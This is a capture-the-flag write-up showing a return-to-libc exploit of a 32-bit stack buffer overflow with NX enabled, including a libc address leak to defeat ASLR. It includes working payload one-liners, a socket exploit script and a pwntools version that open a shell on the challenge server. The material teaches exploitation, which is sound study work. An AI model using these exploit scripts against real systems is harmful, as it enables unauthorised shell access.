247/CTF - pwn - Non Executable Stack
In this post, we’ll cover how to exploit a stack-based buffer overflow, this time with the stack marked as non executable. We firstly detail how to manually exploit the binary locally and, after that, in the remote server. At the end, we’ll use the Python library pwntools to speed up exploit development.
Challenge
This time, 247/CTF give us a binary called non_executable_stack with the following description:
There are no hidden flag functions in this binary. Can you make your own without executing from the stack?
And here is an example of execution flow:
$ ./non_executable_stack
Enter the secret password:
kk
Incorrect secret password!
It’s a ELF 32-bit as previous pwn challenges, but this time with NX bit enable to make stack segment (and any other) writable but not executable:
$ checksec non_executable_stack
[*] '/home/urzu/247ctf/pwn/non_executable_stack'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
This checksec version is the one coming with pwntools (you can install it with python3 -m pip install pwntools), there is also a Bash script with the same functionality.
Background
If we analyze the binary, we can quickly spot the use of gets function to retrieve the password, so we can overflow the buffer due to no outbounds checking of the function:
$ r2 non_executable_stack
-- Virtual machines are great, but you lose the ability to kick the hardware.
[0x080483c0]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x080483c0]> s sym.chall
[0x080484d6]> pdf
; CALL XREF from main @ 0x804857f
┌ 103: sym.chall ();
│ ; var int32_t var_28h @ ebp-0x28
│ ; var int32_t var_4h @ ebp-0x4
│ 0x080484d6 55 push ebp
│ 0x080484d7 89e5 mov ebp, esp
│ 0x080484d9 53 push ebx
│ 0x080484da 83ec24 sub esp, 0x24
[... redacted ...]
│ 0x080484eb 8d45d8 lea eax, [var_28h]
│ 0x080484ee 50 push eax
│ 0x080484ef e88cfeffff call sym.imp.gets ; char *gets(char *s) <--- buffer overflow
[... redacted ...]
│ │ 0x08048528 8d833de6ffff lea eax, [ebx - 0x19c3]
│ │ 0x0804852e 50 push eax
│ │ 0x0804852f e85cfeffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x08048534 83c410 add esp, 0x10
│ │ ; CODE XREF from sym.chall @ 0x8048523
│ └──> 0x08048537 90 nop
│ 0x08048538 8b5dfc mov ebx, dword [var_4h]
│ 0x0804853b c9 leave
└ 0x0804853c c3 ret
[0x080484d6]>
This problem is that, whereas in previous challenges we could execute our payload directly into the stack, this time NX bit is preventing us to do so. Still, we can overwrite the return based stored in the stack to control the program flow, so why don’t use the code already residing in executable segments to our purpose? This is the main idea behind Return-to-libc attack and Return-oriented programming.
Return-to-libc
This attack relies of using code marked as executable contained in libc shared library. libc provides a runtime environment to C programs, so it usually loaded into the memory of most processes. In this binary, we can see that it will effectively be loaded thanks to:
$ ldd non_executable_stack
linux-gate.so.1 (0xf7fd2000)
libc.so.6 => /lib32/libc.so.6 (0xf7dd4000)
/lib/ld-linux.so.2 (0xf7fd4000)
libc provides a lot of functions like printf, scanf, fopen and so on. Thus, if we can execute system function (which execute a shell command) with /bin/sh parameter, we’ll be able to prompt an interactive shell.
Local exploit
We’re going to develop a local version of the exploit and, in order to make it easier, we’re going to deactivate ASLR protection of our system:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0
Firstly, we can obtain the necessary padding to overwrite the return address placing a breakpoint just before the ret instruction (0x0804853c in the code above) and seeing where is our input:
$ r2 -d non_executable_stack
Process with PID 2381 started...
= attach 2381 2381
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
glibc.fc_offset = 0x00148
-- Most likely your core dump fell into a blackhole, can't see it.
[0xf7fd50b0]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
[0xf7fd50b0]> db 0x0804853c
[0xf7fd50b0]> dc
Enter the secret password:
kk
Incorrect secret password!
hit breakpoint at: 804853c
[0x0804853c]> px -0x2c @ esp
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0xffffd1d0 6b6b 00ff 9096 fef7 90f8 faf7 00a0 0408 kk..............
0xffffd1e0 00e0 faf7 00e0 faf7 08d2 ffff 7c85 0408 ............|...
0xffffd1f0 5886 0408 00a0 0408 08d2 ffff X...........
[0x0804853c]>
Our input starts 0x2c before, so this is the amount of padding we need to provide and, then, the return address of the function we want to execute (system in this case). In addition, thanks to deactivating ASLR, libc will be loaded in the same base address during multiple executions (0xf7dd4000 in the example):
[0x0804853c]> dmm
0x08048000 0x08049000 /home/urzu/247ctf/pwn/non_executable_stack
0xf7dd4000 0xf7ded000 /usr/lib32/libc-2.28.so
0xf7fd4000 0xf7fd5000 /usr/lib32/ld-2.28.so
[0x0804853c]> ood
PTRACE_CONT: No such process
child received signal 9
Process with PID 2337 started...
= attach 2337 2337
File dbg:///home/urzu/247ctf/pwn/non_executable_stack reopened in read-write mode
2337
[0xf7fd50b0]> dc
Enter the secret password:
kk
Incorrect secret password!
[0xf7fd3069]> dmm
0x08048000 0x08049000 /home/urzu/247ctf/pwn/non_executable_stack
0xf7dd4000 0xf7ded000 /usr/lib32/libc-2.28.so
0xf7fd4000 0xf7fd5000 /usr/lib32/ld-2.28.so
[0xf7fd3069]>
So, our payload would look something like this (dummy address is explained a bit below):
[0x2c padding] + [system address] + [dummy address] + [/bin/sh address]
We can obtain the function RVA with the following:
$ rabin2 -s /usr/lib32/libc-2.28.so | grep -w system
1525 0x0003e9e0 0x0003e9e0 WEAK FUNC 55 system
And the string offset (like a RVA) inside the library thanks to:
$ strings -t x /usr/lib32/libc-2.28.so | grep /bin/sh
17eaaa /bin/sh
As we already know that libc will be loaded in 0xf7dd4000 address, we can add those RVA to the base address to obtain the following payload:
[0x2c padding] + [0xf7e129e0] + [dummy address] + [0xf7f52aaa]
We can check that we effectively calculate the absolute address right with radare2:
[0xf7f3b000]> dmi libc system
257 0x0012a2c0 0xf7efe2c0 GLOBAL FUNC 102 svcerr_systemerr
658 0x0003e9e0 0xf7e129e0 GLOBAL FUNC 55 __libc_system
1525 0x0003e9e0 0xf7e129e0 WEAK FUNC 55 system
[0xf7f3b000]> / /bin/sh
Searching 7 bytes in [0xf7f3b000-0xf7fab000]
hits: 1
0xf7f52aaa hit5_0 .b/strtod_l.c-c/bin/shexit 0canonica.
If we try our exploit, we can effectively obtain an interactive shell (the cat command is to maintain program stdin open and feed non_executable_stack with our commands):
$ (python2 -c 'print("A"*0x2c + "\xe0\x29\xe1\xf7" + "A"*4 + "\xaa\x2a\xf5\xf7")' && cat) | ./non_executable_stack
Enter the secret password:
Incorrect secret password!
whoami
urzu
Stack frame
So, why do we need a dummy address between our function call and the parameter? This is due how stack frame are constructed during function calls. We’ll see it with a simple C example:
#include <stdio.h>
int main(int argc, char** argv) {
puts("Hello World!");
return 0;
}
Okay, so if we analyze the compiled binary (gcc -o test.out -m32 -no-pie test.c) with radare2, well see that the parameter "Hello World!" is passed into the stack at line 0x08049184:
│ 0x0804917e 8d9008e0ffff lea edx, [eax - 0x1ff8]
│ 0x08049184 52 push edx
│ 0x08049185 89c3 mov ebx, eax
│ 0x08049187 e8a4feffff call sym.imp.puts ; int puts(const char *s)
│ 0x0804918c 83c410 add esp, 0x10
After executing 0x08049184, the stack looks like this:
| ... |
|-----------------|
| @"Hello World!" |
|-----------------|
| ... |
Now, the function call at 0x08049187 will push the return address into the stack, so after the putsfunction ends doing its magic, the execution flow of our program will continue as nothing happened. This means that when puts starts to execute, it will see the stack as this:
| ... |
|-----------------|
| 0x0804918c | <--- return address of the caller
|-----------------|
| @"Hello World!" |
|-----------------|
| ... |
This return address is exactly our dummy address from our payload. So, in our payload, after the shell finished executing, the binary will probably crash as the program will change execution flow to 0x41414141 and very likely nothing valid is there. Therefore, we can change our dummy address with the address of exit function (calculated the same way that system function above) to produce a clean exit of the program:
[0x2c padding] + [0xf7e129e0] + [0xf7e03a60] + [0xf7f52aaa]
Remote exploit
Well, now we know how to exploit the binary locally, but we need to consider two aspects to exploit it in the server:
- We need to assume that ASLR will be activated.
- We don’t know which version of
libcis installed.
In order to overcome the two limitations, we can use a libc function leakage.
PLT and GOT
You can read more in detail in this blog, but we only need to know the general idea. When a dynamic linked binary is using an external function (like libc puts), your code can’t reference an absolute address of the library because this will change after each execution (due to ASLR) and it won’t be portable (diferrent version of libc will have that function in different locations).
So, to overcome this issue, your code reference to another section within your binary, the Procedure Linkage Table (PLT). This section is responsible to either trigger linker resolution of target function (due to lazy binding) or jump to the target function if it was already resolved. The later is stored in the Global Offset Table (GOT) section, which is the actual table of offsets as filled in by the linker for external symbols.
You can see how non_executable_stack reference to the PLT in the code:
[0x080484d6]> pdf
[... redacted ...]
│ │ 0x08048528 8d833de6ffff lea eax, [ebx - 0x19c3]
│ │ 0x0804852e 50 push eax
│ │ 0x0804852f e85cfeffff call sym.imp.puts ; int puts(const char *s)
[... redacted ...]
If we see the content of that address, we can see that there is another jump:
[0x080484d6]> s sym.imp.puts
[0x08048390]> pd 1
; CALL XREFS from sym.chall @ 0x804851b, 0x804852f
; CALL XREF from main @ 0x8048577
┌ 6: int sym.imp.puts (const char *s);
│ bp: 0 (vars 0, args 0)
│ sp: 0 (vars 0, args 0)
│ rg: 0 (vars 0, args 0)
└ 0x08048390 ff2518a00408 jmp dword [reloc.puts] ; 0x804a018
If we go to that address, we’ll see that there is another reference to the binary itself, this is the PLT stub responsible to resolve the address of the external symbol, so puts haven’t been invoked yet:
[0x08048390]> s reloc.puts
[0x0804a018]> pd 1
; DATA XREF from sym.imp.puts @ 0x8048390
;-- reloc.puts:
0x0804a018 .dword 0x08048396 ; RELOC 32 puts
If we continue execution to force puts resolution, now we can see that now the GOT is pointing to the actual offset in memory:
[0x0804a018]> dc
Enter the secret password:
kk
Incorrect secret password!
[0xf7fd3069]> s -
[0x0804a018]> pd 1
; DATA XREF from sym.imp.puts @ 0x8048390
;-- reloc.puts:
0x0804a018 .dword 0xf7e3b0a0 ; RELOC 32 puts
[0x0804a018]> dmi libc puts
[... redacted ...]
458 0x000690a0 0xf7e3b0a0 WEAK FUNC 416 puts
[... redacted ...]
[0x0804a018]>
libc leakage
With all of this in mind, we can construct our payload the same way as before, but instead to reference the absolute address of the functions, we can use address of the PLT known functions. We can use this technique only because the binary isn’t a Position Independent Executable (PIE) and we can reference the absolute value of the PLT as we know where the binary will be mapped during execution (base address 0x8048000).
So, in this case, our payload will be like this:
[0x2c padding] + [puts@plt] + [dummy address] + [puts@got]
This time, we’re calling the puts@plt at 0x08048390 with the puts@got at 0x0804a018 as parameter (which it’ll be send to us as a string):
[0x2c padding] + [0x08048390] + [dummy address] + [0x0804a018]
If we try our newly crafted payload:
$ python2 -c 'print("A"*0x2c + "\x90\x83\x04\x08" + "A"*4 + "\x18\xa0\x04\x08")' | nc ad520e503a0ec4e0.247ctf.com 50341 | xxd
00000000: 456e 7465 7220 7468 6520 7365 6372 6574 Enter the secret
00000010: 2070 6173 7377 6f72 643a 0a49 6e63 6f72 password:.Incor
00000020: 7265 6374 2073 6563 7265 7420 7061 7373 rect secret pass
00000030: 776f 7264 210a 60d3 dbf7 90ed d6f7 0a word!.`........
So, now we know that puts in the server is placed at 0xf7dbd360 address. With this information, we can search a libc database to download this specific version (libc6-i386_2.27-3ubuntu1_amd64). In case that address matches different versions, we can leak other addresses as gets or strcmp to limit the results.
If we run again our Python command with the payload, we’ll see that this time puts address is different, so we can confirm that the remote server has ALSR activated.
Payload construction
The main problem here is that we need to know the base address of the libc library to construct our payload. We can obtain it thanks to the puts address leakage:
[libc base adddress] = [puts address leaked] - [libc6-i386_2.27-3ubuntu1_amd64.puts RVA]
But if we provide a dummy address to the payload, the remote program will crash, and in the next execution the base address will be different. So, we can provide the main address to continue execution and interact again with the program and the vulnerable gets function to overwrite again the return address, this time with the first payload we described earlier, but instead of referencing the absolute addresses, we can use them as:
[function VA] = [libc base address] + [function RVA]
Be aware that the second padding of the payload may change, so you need to recalculate it again, but we’re lucky enough and this time the padding is the same. With all of this in mind, here is how our final script would look like:
import socket
import struct
hostname = 'ad520e503a0ec4e0.247ctf.com'
port = 50341
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # TCP socket
conn.connect((hostname, port))
print('[*] Connected to {}:{}'.format(hostname, port))
conn.recv(1024)
payload = b'A' * 0x2c
payload += struct.pack('<I', 0x08048390) # puts@plt
payload += struct.pack('<I', 0x0804853d) # main
payload += struct.pack('<I', 0x0804a018) # puts@got
conn.sendall(b'%b\r\n' % payload)
print('[*] Payload sent: {}B'.format(len(payload)))
data = conn.recv(1024).split(b'\n')[1]
puts_leak = struct.unpack('<I', data[:4])[0]
print('[*] puts leaked address: {:#x}'.format(puts_leak))
libc_base = puts_leak - 0x67360
print('[*] libc base address: {:#x}'.format(libc_base))
libc_system = libc_base + 0x3cd10
libc_exit = libc_base + 0x2ff70
libc_shell = libc_base + 0x17b8cf
payload = b'A' * 0x2c
payload += struct.pack('<I', libc_system)
payload += struct.pack('<I', libc_exit)
payload += struct.pack('<I', libc_shell)
conn.sendall(b'%b\r\n' % payload)
print('[*] Payload sent: {}B'.format(len(payload)))
conn.recv(1024)
print('[*] Interactive shell\n')
try:
command = input('$ ')
while command != 'exit':
conn.sendall('{}\n'.format(command).encode('utf-8'))
print(conn.recv(1024).decode('utf-8'), end='')
command = input('$ ')
except (EOFError, KeyboardInterrupt):
pass
conn.close()
And an execution trace:
$ python3 exploit-remote.py
[*] Connected to ad520e503a0ec4e0.247ctf.com:50341
[*] Payload sent: 56B
[*] puts leaked address: 0xf7d5d360
[*] libc base address: 0xf7cf6000
[*] Payload sent: 56B
[*] Interactive shell
$ ls
chall
flag_[0-9]+.txt
$ cat flag_[0-9]+.txt
247CTF{[a-f0-9]{32}}
$ exit
pwntools
This blog post is already long enough, so I’ll only show how exploit-remote.py script looks when ported to pwntools. I’ll leave all details up to you but the library is pretty straightforward:
import pwn
hostname = 'ad520e503a0ec4e0.247ctf.com'
port = 50341
io = pwn.remote(hostname, port)
elf = pwn.ELF('non_executable_stack')
libc = pwn.ELF('libc6-i386_2.27-3ubuntu1_amd64.so')
payload = b'A' * 0x2C
payload += pwn.p32(elf.plt['puts'])
payload += pwn.p32(elf.symbols['main'])
payload += pwn.p32(elf.got['puts'])
io.recvline()
io.sendline(payload)
pwn.log.info('Payload sent: {}B'.format(len(payload)))
io.recvline()
puts_leak = pwn.u32(io.recvline()[:4])
pwn.log.info('puts leaked address: {:#x}'.format(puts_leak))
libc_base = puts_leak - libc.symbols['puts']
pwn.log.info('libc base address: {:#x}'.format(libc_base))
libc_system = libc_base + libc.symbols['system']
libc_exit = libc_base + libc.symbols['exit']
libc_shell = libc_base + next(libc.search(b'/bin/sh\x00'))
payload = b'A' * 0x2C
payload += pwn.p32(libc_system)
payload += pwn.p32(libc_exit)
payload += pwn.p32(libc_shell)
io.recvline()
io.sendline(payload)
pwn.log.info('Payload sent: {}B'.format(len(payload)))
io.recvline()
io.interactive()
Daniel Uroz
PhD Student in Computer Science
My research interests include malware analysis, reverse engineering, network security, and forensics